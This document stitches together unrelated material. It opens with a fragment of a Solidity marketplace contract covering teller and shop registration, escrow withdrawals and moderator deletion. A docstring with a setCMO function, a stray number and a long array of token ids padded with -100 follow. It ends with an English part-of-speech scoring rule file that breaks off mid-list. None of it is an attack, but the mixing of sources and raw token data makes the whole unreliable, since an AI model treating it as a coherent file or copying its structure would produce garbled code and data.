send eth to the receiver from the bank contract bank.withdrawEth(msg.sender, _to, _amount); // increase reput for the buyer and the seller Only if the buyer is also whitelisted, // It's a way to incentive user to trade on the system if (smsCertifier.certified(_to)) { volumeBuy[_to] = SafeMath.add(volumeBuy[_to], _amount); volumeSell[msg.sender] = SafeMath.add(volumeSell[msg.sender], _amount); nbTrade[msg.sender] += 1; } emit Sent(msg.sender, _to, _amount); } /** * switchStatus * Turn status teller on/off */ function switchStatus(bool _status) external { if (teller[msg.sender].online != _status) teller[msg.sender].online = _status; } /** * addFunds * teller can add more funds on his sellpoint */ function addFunds() external payable { require(isTeller(msg.sender)); require(bank.addEthTeller.value(msg.value)(msg.sender, msg.value)); } // gas used 67841 // a teller can delete a sellpoint function deleteTeller() external { require(isTeller(msg.sender)); uint rowToDelete1 = teller[msg.sender].zoneIndex; address keyToMove1 = tellerInZone[teller[msg.sender].countryId][teller[msg.sender].postalCode][tellerInZone[teller[msg.sender].countryId][teller[msg.sender].postalCode].length - 1]; tellerInZone[teller[msg.sender].countryId][teller[msg.sender].postalCode][rowToDelete1] = keyToMove1; teller[keyToMove1].zoneIndex = rowToDelete1; tellerInZone[teller[msg.sender].countryId][teller[msg.sender].postalCode].length--; uint rowToDelete2 = teller[msg.sender].generalIndex; address keyToMove2 = tellerIndex[tellerIndex.length - 1]; tellerIndex[rowToDelete2] = keyToMove2; teller[keyToMove2].generalIndex = rowToDelete2; tellerIndex.length--; delete teller[msg.sender]; bank.withdrawDthTeller(msg.sender); bank.refundEth(msg.sender); emit DeleteTeller(msg.sender); } // gas used 67841 // A moderator can delete a sellpoint function deleteTellerMods(address _toDelete) isTellerModerator(msg.sender) external { uint rowToDelete1 = teller[_toDelete].zoneIndex; address keyToMove1 = tellerInZone[teller[_toDelete].countryId][teller[_toDelete].postalCode][tellerInZone[teller[_toDelete].countryId][teller[_toDelete].postalCode].length - 1]; tellerInZone[teller[_toDelete].countryId][teller[_toDelete].postalCode][rowToDelete1] = keyToMove1; teller[keyToMove1].zoneIndex = rowToDelete1; tellerInZone[teller[_toDelete].countryId][teller[_toDelete].postalCode].length--; uint rowToDelete2 = teller[_toDelete].generalIndex; address keyToMove2 = tellerIndex[tellerIndex.length - 1]; tellerIndex[rowToDelete2] = keyToMove2; teller[keyToMove2].generalIndex = rowToDelete2; tellerIndex.length--; delete teller[_toDelete]; bank.withdrawDthTeller(_toDelete); bank.refundEth(_toDelete); emit DeleteTellerModerator(msg.sender, _toDelete); } // gas used 67841 // A shop owner can delete his point. function deleteShop() external { require(isShop(msg.sender)); uint rowToDelete1 = shop[msg.sender].zoneIndex; address keyToMove1 = shopInZone[shop[msg.sender].countryId][shop[msg.sender].postalCode][shopInZone[shop[msg.sender].countryId][shop[msg.sender].postalCode].length - 1]; shopInZone[shop[msg.sender].countryId][shop[msg.sender].postalCode][rowToDelete1] = keyToMove1; shop[keyToMove1].zoneIndex = rowToDelete1; shopInZone[shop[msg.sender].countryId][shop[msg.sender].postalCode].length--; uint rowToDelete2 = shop[msg.sender].generalIndex; address keyToMove2 = shopIndex[shopIndex.length - 1]; shopIndex[rowToDelete2] = keyToMove2; shop[keyToMove2].generalIndex = rowToDelete2; shopIndex.length--; delete shop[msg.sender]; bank.withdrawDthShop(msg.sender); emit DeleteShop(msg.sender); } // gas used 67841 // Moderator can delete a shop point function deleteShopMods(address _toDelete) isShopModerator(msg.sender) external { uint rowToDelete1 = shop[_toDelete].zoneIndex; address keyToMove1 = shopInZone[shop[_toDelete].countryId][shop[_toDelete].postalCode][shopInZone[shop[_toDelete].countryId][shop[_toDelete].postalCode].length - 1]; shopInZone[shop[_toDelete].countryId][shop[_toDelete].postalCode][rowToDelete1] = keyToMove1; shop[keyToMove1].zoneIndex = rowToDelete1; shopInZone[shop[_toDelete].countryId][shop[_toDelete].postalCode].length--; uint rowToDelete2 = shop[_toDelete].generalIndex; address keyToMove2 = shopIndex[shopIndex.length - 1]; shopIndex[rowToDelete2] = keyToMove2; shop[keyToMove2].generalIndex = rowToDelete2; shopIndex.length--; if (!shop[_toDelete].detherShop) bank.withdrawDthShop(_toDelete); else bank.withdrawDthShopAdmin(_toDelete, csoAddress); delete shop[_toDelete]; emit DeleteShopModerator(msg.sender, _toDelete); } /** * GETTER */ // get teller // return teller info function getTeller(address _teller) public view returns ( int32 lat, int32 lng, bytes2 countryId, bytes16 postalCode, int8 currencyId, bytes16 messenger, int8 avatarId, int16 rates, uint balance, bool online, uint sellVolume, uint numTrade ) { Teller storage theTeller = teller[_teller]; lat = theTeller.lat; lng = theTeller.lng; countryId = theTeller.countryId; postalCode = theTeller.postalCode; currencyId = theTeller.currencyId; messenger = theTeller.messenger; avatarId = theTeller.avatarId; rates = theTeller.rates; online = theTeller.online; sellVolume = volumeSell[_teller]; numTrade = nbTrade[_teller]; balance = bank.getEthBalTeller(_teller); } /* * Shop ---------------------------------- * return Shop value */ function getShop(address _shop) public view returns ( int32 lat, int32 lng, bytes2 countryId, bytes16 postalCode, bytes16 cat, bytes16 name, bytes32 description, bytes16 opening ) { Shop storage theShop = shop[_shop]; lat = theShop.lat; lng = theShop.lng; countryId = theShop.countryId; postalCode = theShop.postalCode; cat = theShop.cat; name = theShop.name; description = theShop.description; opening = theShop.opening; } // get reput // return reputation data from teller function getReput(address _teller) public view returns ( uint buyVolume, uint sellVolume, uint numTrade ) { buyVolume = volumeBuy[_teller]; sellVolume = volumeSell[_teller]; numTrade = nbTrade[_teller]; } // return balance of teller put in escrow function getTellerBalance(address _teller) public view returns (uint) { return bank.getEthBalTeller(_teller); } // return an array of address of all zone present on a zone // zone is a mapping COUNTRY => POSTALCODE function getZoneShop(bytes2 _country, bytes16 _postalcode) public view returns (address[]) { return shopInZone[_country][_postalcode]; } // return array of address of all shop function getAllShops() public view returns (address[]) { return shopIndex; } function isShop(address _shop) public view returns (bool ){ return (shop[_shop].countryId != bytes2(0x0)); } // return an array of address of all teller present on a zone // zone is a mapping COUNTRY => POSTALCODE function getZoneTeller(bytes2 _country, bytes16 _postalcode) public view returns (address[]) { return tellerInZone[_country][_postalcode]; } // return array of address of all teller function getAllTellers() public view returns (address[]) { return tellerIndex; } // return if teller or not function isTeller(address _teller) public view returns (bool ){ return (teller[_teller].countryId != bytes2(0x0)); } /* * misc */ // return info about how much DTH the shop has staked function getStakedShop(address _shop) public view returns (uint) { return bank.getDthShop(_shop); } // return info about how much DTH the teller has staked function getStakedTeller(address _teller) public view returns (uint) { return bank.getDthTeller(_teller); } // give ownership to the bank contract function transferBankOwnership(address _newbankowner) external onlyCEO whenPaused { bank.transferOwnership(_newbankowner); } }
@dev Assigns a new address to act as the CMO. Only available to the current CEO. @param _newCMO The address of the new CMO
function setCMO(address _newCMO) external onlyCEO { require(_newCMO != address(0)); cmoAddress = _newCMO; }
4,802,866
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 5206, 12093, 87, 279, 394, 1758, 358, 1328, 487, 326, 385, 5980, 18, 5098, 2319, 358, 326, 783, 29538, 51, 18, 632, 891, 389, 2704, 39, 5980, 1021, 1758, 434, 326, 394, 385, 5980, 2, 0, 0, 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 2704, 39, 5980, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// LC->27.01.2016 wordform_score given { eng_noun }=-5 // We follow the argument given in Apostol. wordform_score need { eng_auxverb }=-1 // предпочитаем вариант обычного глагола wordform_score intrinsically { eng_noun }=-2 wordform_score "face to face" { eng_adverb }=2 // They spoke face to face. wordform_score alas { eng_noun }=-2 // Alas, I cannot stay. wordform_score something { eng_verb }=-5 wordform_score "beads" { number:single }=-5 // wordform_score "inside out" { eng_adverb }=1 // Reversing a translator turns its scope inside out. wordform_score Daily { eng_noun }=-2 wordform_score over { eng_noun }=-5 wordform_score over { eng_adjective }=-5 wordform_score "because of" { eng_prep }=1 wordform_score "well-known" { eng_adjective }=2 // This is a story about the well-known millionaire wordforms_score "eye" { eng_verb }=-2 // The sea now shimmered placidly before our eyes. wordform_score "Rough-sand" { eng_verb }=2 // Rough-sand the door before painting it. wordform_score significant { eng_noun }=-5 wordform_score Newspapers { eng_verb }=-5 // Newspapers reported his ennoblement the following morning. wordform_score if { eng_noun }=-5 wordform_score world { eng_verb }=-5 // World, do you know your creator? wordform_score "in vain" { eng_adverb }=2 // He looked for her in vain. wordform_score "face to face" { eng_adverb }=2 // They spoke face to face. wordform_score "hand in hand" { eng_adverb }=2 // They walked hand in hand. wordform_score "all over" { eng_adverb }=2 // She ached all over. wordform_score "Hong Kong"{ eng_noun }=2 // Hong Kong was a British colony. wordform_score "as well" {eng_adverb }=5 // It also broke along generational lines as well; wordforms_score enrol { eng_verb }=-1 wordform_score "by far" { eng_adverb }=2 // Football is by far the most popular sport. wordform_score "for the first time" { eng_adverb }=2 wordforms_score unite { eng_verb }=-5 wordform_score "of course" { eng_adverb }=5 // Of course importance is a matter of perspective; wordform_score know { eng_noun }=-2 wordform_score working { eng_noun }=-2 wordform_score best { eng_noun }=-10 wordform_score aside { eng_noun }=-5 // Put her sewing aside when he entered. wordform_score any { eng_adverb }=-5 // I must know how to fix any problem wordform_score king { eng_verb }=-5 // Constantine succeeded him as king. wordform_score undecided { eng_noun }=-5 // Einstein was still undecided on his future. wordform_score should { eng_noun }=-10 wordform_score international { eng_noun }=-1 // For international competition maraging steel is required. wordform_score English { eng_verb }=-5 // The class did English three times a week last year wordform_score "upside down" { eng_adverb } =1 // The thief had turned the room upside down wordform_score enough { eng_adjective }=-1 // These boys are the good enough players wordform_score anti { eng_adjective }=-2 // The foam has anti-microbial properties. wordform_score way { eng_adverb }=-2 // He angled his way into the room. wordform_score about { eng_verb }=-5 // Let's look about for help. wordform_score balls { eng_adverb }=-5 // She molded the rice balls carefully. wordform_score "flat-out" { eng_adverb }=2 // He stated his opinion flat-out. wordform_score weekly { eng_noun } =-5 wordform_score "at once" { eng_adverb }=2 // I must give an answer at once wordform_score "at random" { eng_adverb }=2 // Bullets were fired into the crowd at random. wordform_score "far and wide" { eng_adverb }=1 wordform_score "year-round" { eng_adjective }=1 wordforms_score phrasis { eng_noun }=-5 wordforms_score phasis { eng_noun }=-5 wordform_score early { eng_noun }=-5 wordform_score non { eng_adjective }=-5 wordform_score non { eng_adverb }=-5 wordform_score "each other" { eng_noun }=1 // Two drunken gentlemen are holding each other up. wordform_score still { eng_noun }=-5 // His teenage son still behaves very immaturely. wordforms_score classis { eng_noun }=-5 wordform_score historic { eng_noun }=-5 // It is also a historic Mediterranean port. wordform_score through { eng_noun }=-5 wordforms_score talke { eng_verb }=-5 wordform_score when { eng_noun }=-5 wordforms_score focuse { eng_verb }=-5 wordform_score without { eng_adverb }=-5 // How does she get around without a car? wordform_score as { eng_adverb }=-5 wordform_score about { eng_adjective }=-5 wordform_score course { eng_adverb }=-5 // He followed his course unswervingly wordform_score why { eng_noun }=-10 // Why did John pass his examination? wordform_score seasonal { eng_noun }=-3 // A seasonal rise in unemployment. wordform_score all { eng_adverb }=-3 // I've finished all my work. wordform_score typical { eng_noun }=-5 // A typical bureaucratic screwup wordform_score like { eng_adverb }=-5 // Richard doesn't like ice-cream wordform_score necromantic { eng_noun }=-5 // Mysterious necromantic rites wordform_score protective { eng_noun }=-5 // Cumbrous protective clothing wordform_score forward { eng_noun }=-1 // An incomplete forward pass. wordform_score incompatible { eng_noun }=-5 // Incompatible personalities. wordform_score "in front of" {}=5 // I sit now in front of you. wordform_score now { eng_noun }=-5 wordform_score violent { eng_noun }=-5 // I felt a violent dislike. wordform_score one { eng_noun }=-2 wordform_score unavoidable { eng_noun }=-5 // An unavoidable accident. wordform_score stupid { eng_adverb }=-2 wordform_score elected { eng_noun }=-5 // He would get elected. wordform_score altered { eng_noun }=-5 // Some altered states occur naturally; wordform_score additional { eng_noun }=-5 // Additional morphological types may exist. wordform_score understanding { eng_adjective }=-5 // Graphical methods are recommended to enhance understanding. wordform_score reads { eng_noun }=-5 wordform_score Monolingual { eng_noun }=-5 // Monolingual speakers. wordform_score young { eng_noun }=-5 // Puddle young plants. wordform_score Cognitive { eng_noun } =-5 // Cognitive psychology wordform_score where { eng_noun }=-10 // Where is my vote? wordform_score Pronominal { eng_noun } =-5 // Pronominal reference wordform_score Cartesian { eng_noun } =-5 // Cartesian linguistics wordform_score Pharyngeal { eng_noun } =-5 // Pharyngeal fricatives wordform_score Pythagorean { eng_noun } =-5 // Pythagorean theorem wordform_score Conventional { eng_noun } =-5 // Conventional wisdom. wordform_score structural { eng_noun } =-5 // Structural engineer wordform_score inside { eng_noun }=-5 // Was the dog inside? wordform_score French { eng_noun }=-5 wordform_score invisible { eng_noun }=-5 wordform_score equatorial { eng_noun }=-5 // Equatorial diameter wordform_score confident { eng_noun }=-5 // A confident reply. wordform_score narrow { eng_noun }=-5 // A narrow scrutiny. wordform_score mental { eng_noun }=-5 // Mental development wordform_score diplomatic { eng_noun }=-5 // Diplomatic warfare wordform_score aristotelean { eng_noun } =-5 // Aristotelean logic wordform_score metamorphic { eng_noun }=-5 // Metamorphic stage wordform_score fraternal { eng_noun }=-5 // A fraternal order wordform_score game { eng_adjective }=-5 // a covert for game wordform_score to { eng_adverb }=-2 // Scorpius is to the left. wordform_score in { eng_adverb }=-2 // Significant bills passed in Colorado. wordform_score in { eng_noun }=-2 wordform_score "New York" { eng_adjective }=-5 // They settled in New York City. wordform_score great { eng_adverb }=-2 // Gravitational collapse requires great density. wordform_score meanwhile { eng_noun }=-5 // Meanwhile Villeroi deployed his forces. wordform_score sexual { eng_noun }=-5 // Contestants occasionally develop sexual relationships; wordform_score better { eng_verb }=-5 // We do it better. wordform_score may { eng_noun }=-1 // I may ask wordform_score then { eng_noun }=-10 // He was then imprisoned. wordform_score human { eng_verb }=-10 // Does human capital matter? wordform_score is { eng_noun }=-10 wordform_score what { eng_adverb }=-5 // What did he want? wordform_score matter { eng_adjective }=-5 // Does it matter? wordform_score hills { eng_verb }=-5 // Gabonese hills wordform_score ready { eng_verb }=-5 // I ain't ready wordform_score welsh { eng_verb }=5 // Welsh syntax wordform_score today { eng_noun }=-1 // This support continues even today. wordform_score baby { eng_verb } =-5 // Baby rabbits wordform_score Lunar { eng_noun } =-5 // Lunar module wordform_score rights { eng_verb }=-2 // Civil rights wordform_score bones { eng_verb } =-5 wordform_score dogs { eng_verb }=-5 // so many dogs wordform_score does { eng_noun } =-10 wordform_score big { eng_verb } = -8 wordform_score big { eng_adverb } =-5 // I am not big wordform_score ill { eng_verb } = -8 wordform_score but { eng_noun } = -8 // But that was not all; wordform_score that { eng_noun } = -8 wordform_score that { eng_adverb } = -2 // I like that. wordform_score this { eng_noun } = -8 wordform_score busy { eng_noun } = -5 // A busy man. wordform_score dull { eng_verb } =-5 // deadly dull wordform_score station { eng_verb } = -2 // ASU has two radio stations. wordform_score higher { eng_noun } = -2 wordform_score of { eng_noun } = -10 wordform_score all { eng_noun } = -5 wordform_score stop { eng_adverb } = -5 wordform_score big { eng_adverb } = -5 wordform_score small { eng_adverb } = -5 wordform_score no { eng_verb } = -5 wordform_score only { eng_noun } = -5 // The only treatment is to deliver the fetus. wordform_score ask { eng_noun } = -2 wordform_score you { eng_verb } = -5 wordform_score me { eng_noun } = -5 wordform_score will { eng_noun } = -1 wordform_score make { eng_noun } = -1 wordform_score and { eng_noun } = -5 // He reads and writes // Hopefully I will have learned something, too! // ~~~~~~~~~ wordform_score something { eng_adverb } = -2 wordform_score am { eng_adverb } = -5 // wordform_score then { eng_conj } = 1000 // wordform_score then { eng_adverb } = 1000 wordform_score then { eng_adjective } = -2 // wordform_score came { eng_verb } = 1000 wordform_score came { eng_noun } = -2 // wordform_score father { eng_noun } = 1000 wordform_score father { eng_verb } = -1 wordform_score two { eng_noun } = -5 wordform_score three { eng_noun } = -5 wordform_score four { eng_noun } = -5 wordform_score five { eng_noun } = -5 wordform_score six { eng_noun } = -5 wordform_score seven { eng_noun } = -5 wordform_score eight { eng_noun } = -5 wordform_score nine { eng_noun } = -5 wordform_score ten { eng_noun } = -5 wordform_score eleven { eng_noun } = -5 // wordform_score some { eng_adjective } = 1000 wordform_score some { eng_noun } = -1 wordform_score some { eng_adverb } = -2 // wordform_score today { eng_adverb } = 1000 wordform_score today { eng_noun } = -1 // wordform_score tomorrow { eng_adverb } = 1000 wordform_score tomorrow { eng_noun } = -1 // wordform_score yesterday { eng_adverb } = 1000 wordform_score yesterday { eng_noun } = -1 //wordform_score and { eng_conj } = 0 wordform_score and { eng_verb } = -10 //wordform_score or { eng_conj } = 1000 wordform_score or { eng_verb } = -10 wordform_score by { eng_adverb } = -1 wordform_score by { eng_adjective } = -2 wordform_score by { eng_noun } = -5 // The cars hurtled by. // wordform_score can { eng_verb } = 1 wordform_score can { eng_noun } = -1 // wordform_score very { eng_adverb } = 1000 wordform_score very { eng_adjective } = -1 // wordform_score big { eng_adjective } = 1000 wordform_score big { eng_noun } = -2 // wordform_score an { eng_article } = 100 wordform_score an { eng_noun } = -2 // wordform_score not { eng_particle } = 100 wordform_score not { eng_noun } = -2 // wordform_score old { eng_adjective } = 1000 wordform_score old { eng_noun } = -2 wordform_score red { eng_noun } = -2 wordform_score above { noun } = -5 wordform_score now { eng_adjective } = -5 wordform_score now { noun } = -5 // He is a student now wordform_score by { eng_adjective } = -1 wordform_score by { noun } = 2 #define PreferAdj(x) \ #begin wordform_score x { eng_adjective } = 1 #end PreferAdj(acrylic) PreferAdj(best) PreferAdj(active) PreferAdj(actual) PreferAdj(acute) PreferAdj(addictive) PreferAdj(additive) PreferAdj(adherent) PreferAdj(adjacent) PreferAdj(adjectival) PreferAdj(adjunctive) PreferAdj(adolescent) PreferAdj(aerial) PreferAdj(aesthetic) PreferAdj(affirmative) PreferAdj(affluent) PreferAdj(affluential) PreferAdj(ageless) PreferAdj(agentive) PreferAdj(aggravative) PreferAdj(airborne) PreferAdj(alternative) PreferAdj(ambient) PreferAdj(ambisexual) PreferAdj(apolitical) PreferAdj(appellative) PreferAdj(appositive) PreferAdj(approbative) PreferAdj(arabian) PreferAdj(arsenical) PreferAdj(aspirational) PreferAdj(auxiliary) PreferAdj(baghdadian) PreferAdj(bendy) PreferAdj(bicolour) PreferAdj(biconditional) PreferAdj(bifundamental) PreferAdj(bilevel) PreferAdj(bilingual) PreferAdj(binational) PreferAdj(binominal) PreferAdj(biomedical) PreferAdj(biomusical) PreferAdj(bipartisan) PreferAdj(biquadratic) PreferAdj(bistable) PreferAdj(biweekly) PreferAdj(blind) PreferAdj(blinky) PreferAdj(blue) PreferAdj(white) PreferAdj(boolean) PreferAdj(brief) PreferAdj(bright) PreferAdj(broad) PreferAdj(brown) PreferAdj(bulk) PreferAdj(bully) PreferAdj(calm) PreferAdj(candid) PreferAdj(canonical) PreferAdj(carbolic) PreferAdj(carryable) PreferAdj(casual) PreferAdj(causative) PreferAdj(celestial) PreferAdj(ceremonial) PreferAdj(charismatic) PreferAdj(chemical) PreferAdj(lonesome) PreferAdj(good) PreferAdj(close) PreferAdj(coequal) PreferAdj(common) PreferAdj(compact) PreferAdj(complex) PreferAdj(compound) PreferAdj(compulsive) PreferAdj(compulsory) PreferAdj(conic) PreferAdj(conjunctive) PreferAdj(connective) PreferAdj(connexive) PreferAdj(consequent) PreferAdj(consistent) PreferAdj(consumable) PreferAdj(consumptive) PreferAdj(contemplative) PreferAdj(contemporary) PreferAdj(continuative) PreferAdj(controversial) PreferAdj(coronal) PreferAdj(cosy) PreferAdj(cozy) PreferAdj(crazy) PreferAdj(crimson) PreferAdj(crisp) PreferAdj(crowdy) PreferAdj(cubic) PreferAdj(curly) PreferAdj(cyan) PreferAdj(daily) PreferAdj(dark) PreferAdj(darn) PreferAdj(darwinian) PreferAdj(dative) PreferAdj(dead) PreferAdj(deaf) PreferAdj(decorative) PreferAdj(deep) PreferAdj(different) PreferAdj(divine) PreferAdj(doggy) PreferAdj(double) PreferAdj(dreadful) PreferAdj(dreary) PreferAdj(drinkable) PreferAdj(dual) PreferAdj(dull) PreferAdj(each) PreferAdj(early) PreferAdj(edible) PreferAdj(eligible) PreferAdj(empty) PreferAdj(entire) PreferAdj(equal) PreferAdj(eruptive) PreferAdj(evergreen) PreferAdj(everyday) PreferAdj(exclusive) PreferAdj(exotic) PreferAdj(extern) PreferAdj(faint) PreferAdj(far) PreferAdj(fast) PreferAdj(feminine) PreferAdj(fishy) PreferAdj(flexible) PreferAdj(floral) PreferAdj(fractional) PreferAdj(free) PreferAdj(fresh) PreferAdj(frictionless) PreferAdj(friendly) PreferAdj(frontal) PreferAdj(functional) PreferAdj(functionless) PreferAdj(fundamental) PreferAdj(fuzzy) PreferAdj(gazillionth) PreferAdj(ghosty) PreferAdj(glamour) PreferAdj(glassful) PreferAdj(grey) PreferAdj(hard) PreferAdj(heavy) PreferAdj(high) PreferAdj(holy) PreferAdj(hopeful) PreferAdj(horizontal) PreferAdj(horrible) PreferAdj(hypnotic) PreferAdj(identical) PreferAdj(idyllic) PreferAdj(ill) PreferAdj(illative) PreferAdj(illiterate) PreferAdj(immovable) PreferAdj(imperative) PreferAdj(imperfect) PreferAdj(imperfective) PreferAdj(incomplete) PreferAdj(indexical) PreferAdj(indicative) PreferAdj(industrial) PreferAdj(inert) PreferAdj(inevitable) PreferAdj(initial) PreferAdj(innocent) PreferAdj(instrumental) PreferAdj(intersexual) PreferAdj(intimate) PreferAdj(intuitive) PreferAdj(irregular) PreferAdj(irresponsible) PreferAdj(left) PreferAdj(legal) PreferAdj(lenticular) PreferAdj(lilliputian) PreferAdj(machiavellian) PreferAdj(marriageable) PreferAdj(maximal) PreferAdj(maxwellian) PreferAdj(measurable) PreferAdj(measureless) PreferAdj(medieval) PreferAdj(medium) PreferAdj(mesolithic) PreferAdj(metallic) PreferAdj(microcephalic) PreferAdj(mild) PreferAdj(military) PreferAdj(monochrome) PreferAdj(monthly) PreferAdj(movable) PreferAdj(multiplicative) PreferAdj(municipal) PreferAdj(musical) PreferAdj(nasty) PreferAdj(necessary) PreferAdj(negative) PreferAdj(negotiable) PreferAdj(neuter) PreferAdj(neutral) PreferAdj(new) PreferAdj(next) PreferAdj(nonacademic) PreferAdj(nonaromatic) PreferAdj(occult) PreferAdj(old) PreferAdj(olympian) PreferAdj(opaque) PreferAdj(optative) PreferAdj(organic) PreferAdj(oriental) PreferAdj(ornamental) PreferAdj(overall) PreferAdj(pandemic) PreferAdj(papish) PreferAdj(parallel) PreferAdj(partial) PreferAdj(particular) PreferAdj(partitive) PreferAdj(passional) PreferAdj(patientive) PreferAdj(payable) PreferAdj(perfective) PreferAdj(performative) PreferAdj(periodical) PreferAdj(peripheral) PreferAdj(pharmaceutical) PreferAdj(phytochemical) PreferAdj(phytopharmaceutical) PreferAdj(pictorial) PreferAdj(piezoelectric) PreferAdj(placental) PreferAdj(plural) PreferAdj(political) PreferAdj(polysyllabic) PreferAdj(polytechnic) PreferAdj(positive) PreferAdj(possessive) PreferAdj(possible) PreferAdj(posterior) PreferAdj(posteriour) PreferAdj(postpositive) PreferAdj(practical) PreferAdj(precognitive) PreferAdj(prediabetic) PreferAdj(prepositional) PreferAdj(prepositive) PreferAdj(pretty) PreferAdj(preventative) PreferAdj(preventive) PreferAdj(previous) PreferAdj(primary) PreferAdj(procedural) PreferAdj(proficient) PreferAdj(progressive) PreferAdj(prohibitive) PreferAdj(public) PreferAdj(purple) PreferAdj(purpure) PreferAdj(pyramidal) PreferAdj(quadrilateral) PreferAdj(quadriliteral) PreferAdj(quadrillionth) PreferAdj(quarterly) PreferAdj(quick) PreferAdj(quiet) PreferAdj(random) PreferAdj("ready-made") PreferAdj(readymade) PreferAdj(receivable) PreferAdj(recessional) PreferAdj(recyclable) PreferAdj(reflexive) PreferAdj(refrigerative) PreferAdj(regular) PreferAdj(reliable) PreferAdj(renewable) PreferAdj(rental) PreferAdj(reptilian) PreferAdj(retinal) PreferAdj(retractable) PreferAdj(rouge) PreferAdj(rough) PreferAdj(round) PreferAdj(sabbatical) 